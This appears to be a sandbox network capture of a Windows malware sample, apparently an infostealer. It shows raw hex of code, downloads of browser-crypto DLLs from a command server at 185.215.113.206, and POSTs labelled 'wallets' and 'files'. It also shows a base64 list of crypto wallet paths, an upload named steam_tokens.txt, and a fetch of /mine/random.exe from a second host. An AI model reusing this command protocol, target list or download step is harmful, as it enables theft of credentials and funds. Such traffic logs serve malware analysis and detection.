Nov 24, 2024 19:11:48.362400055 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 24, 2024 19:11:48.362413883 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 24, 2024 19:11:48.362418890 CET	148	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!
Nov 24, 2024 19:11:48.362461090 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 24, 2024 19:11:48.362503052 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 24, 2024 19:11:48.362519979 CET	1236	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 24, 2024 19:11:48.362531900 CET	672	IN	Data Raw: 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 0f ef db 66 0f 60 f3 66 0f 61 f3 66 0f 6f f8 66 0f 72 f7 17 66 0f 6f 1d Data Ascii: Mfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`f
Nov 24, 2024 19:11:48.368978024 CET	1236	IN	Data Raw: 66 0f f4 c3 66 0f 70 c0 e8 66 0f 62 e0 66 0f eb d4 66 0f eb ca 66 0f 70 c1 ee 66 0f eb c1 66 0f 70 c8 55 66 0f eb c8 66 0f 7e 4d e0 8b 55 c8 39 55 d4 8b 45 d0 75 0e 8a 55 e8 8b 4d ec 8b 7d e4 8b 5d dc eb 3f 8d 0c d5 00 00 00 00 8b 75 10 03 75 cc Data Ascii: ffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]]}<+ET}:M1}]fEUEEU
Nov 24, 2024 19:11:49.936398029 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 19:11:50.420239925 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 24, 2024 19:11:51.416093111 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 19:11:52.030267000 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 24, 2024 19:11:52.800471067 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 19:11:53.239702940 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 24, 2024 19:11:56.415638924 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 19:11:56.864227057 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 24, 2024 19:11:57.497559071 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 19:11:57.935801983 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 24, 2024 19:11:58.618042946 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJ Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 19:11:59.731327057 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:11:59.836802959 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"wallets------JDGIIJJDHDGCGDHIJDAK--
Nov 24, 2024 19:12:00.282108068 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 24, 2024 19:12:00.285492897 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDHJECFCFCAKFHCFID Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 2d 2d 0d 0a Data Ascii: ------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="message"files------EBGDHJECFCFCAKFHCFID--
Nov 24, 2024 19:12:00.829921007 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:12:00.896917105 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="file"------EHDHIDAEHCFHJJJJECAA--
Nov 24, 2024 19:12:01.879448891 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:12:01.908859015 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="message"ybncbhylepme------IJDHDGDAAAAKFIDGHJDG--
Nov 24, 2024 19:12:02.362008095 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49837	185.215.113.16	80	568	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:12:02.499602079 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
